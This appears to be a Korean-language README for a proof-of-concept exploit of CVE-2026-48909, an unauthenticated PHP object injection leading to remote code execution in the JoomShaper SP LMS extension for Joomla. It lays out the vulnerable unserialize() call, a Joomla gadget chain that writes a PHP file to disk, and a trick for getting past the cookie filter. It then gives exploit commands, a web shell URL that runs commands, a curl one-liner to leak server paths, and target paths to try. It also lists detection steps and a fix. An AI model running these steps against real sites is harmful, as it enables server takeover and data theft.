
CVE-2026-48909에 대한 개념 증명 익스플로잇: JoomShaper SP LMS의 PHP 객체 주입을 통한 인증되지 않은 원격 코드 실행. 탐지, 익스플로잇 및 대응 지침 포함.
인증되지 않은 원격 코드 실행 — Joomla CMS용 JoomShaper SP LMS (com_splms) ≤ 4.1.3의 PHP 객체 주입 취약점
저자: Amin İsayev / Proxima Cyber Security
SP LMS는 JoomShaper의 인기 있는 Joomla 학습 관리 시스템 확장 프로그램으로 10만 개 이상 설치되었습니다. 4.1.3 이하 버전은 lmsOrders 쿠키를 검증 없이 unserialize()에 직접 전달하여, 인증되지 않은 공격자가 악성 PHP 객체를 주입하고 Joomla의 기본 가젯 체인을 통해 원격 코드 실행을 달성할 수 있습니다.
components/com_splms/models/cart.php 28번째 줄:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← 신뢰할 수 없는 사용자 입력
lmsOrders 쿠키는 base64 디코딩된 후 unserialize()에 직접 전달됩니다. 공격자는 역직렬화된 객체를 완전히 제어할 수 있습니다.
Joomla의 FormattedtextLogger 클래스가 가젯을 제공합니다:
lmsOrders 쿠키 (공격자 제어)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla 가젯]
└─► initFile() → File::write($path, $format)
└─► PHP 코드가 디스크에 기록됨 → RCE
참고: RCE를 위해서는 Joomla < 5.2.2가 필요합니다.
Joomla 5.2.2에서FormattedtextLogger.__wakeup()이 패치되었습니다 (PR #44428 참조).
PHP 객체 주입 자체는 모든 Joomla 버전의 com_splms ≤ 4.1.3에 여전히 존재합니다.
Joomla의 Input\Cookie::get()은 기본적으로 cmd 필터를 적용하여 쿠키 값에서 +, /, = 문자를 제거합니다 — 이들은 표준 base64에 포함되는 문자입니다. 익스플로잇은 다음을 사용합니다:
$, _, {, }, \n) 방지= 패딩 없음)/ 및 + 제거python3 CVE-2026-48909.py https://target.com
[*] 대상 : https://target.com
[*] 경로 : /index.php?option=com_splms&view=cart
[*] 탐침 : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[취약] 탐침 시 HTTP 500 vs 정상 시 HTTP 200 — 쿠키에서 unserialize() 호출됨
[!] 즉시 SP LMS >= 4.1.4로 업데이트하세요.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

셸 활성화:
https://target.com/tmp/x.php?c=id
서버 경로 찾기 (알 수 없는 경우):
# cPanel 호스팅 — Joomla 오류 페이지에서 경로 유출
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# 시도해 볼 일반적인 경로:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders 쿠키 검증 및 정제:// 사용자 제어 데이터에 unserialize()를 사용하지 마세요
// 대신 json_encode/json_decode를 사용하세요
$cartItems = json_decode(base64_decode($raw), true) ?? [];
이 도구는 교육 목적 및 공인된 보안 테스트 용도로만 공개됩니다.
저자는 이 프로그램의 오용이나 그로 인한 손해에 대해 책임을 지지 않습니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 사용하지 마십시오.
Amin İsayev / Proxima Cyber Security — 2026
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| 영향 받는 버전 | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| 수정 버전 | SP LMS ≥ 4.1.4 |
| Joomla 요구 사항 | < 5.2.2 (가젯 체인은 5.2.2에서 패치됨) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 인증 필요 여부 | 없음 |
| 공개일 | 2026-05-26 |
| 게시일 | 2026-06-20 |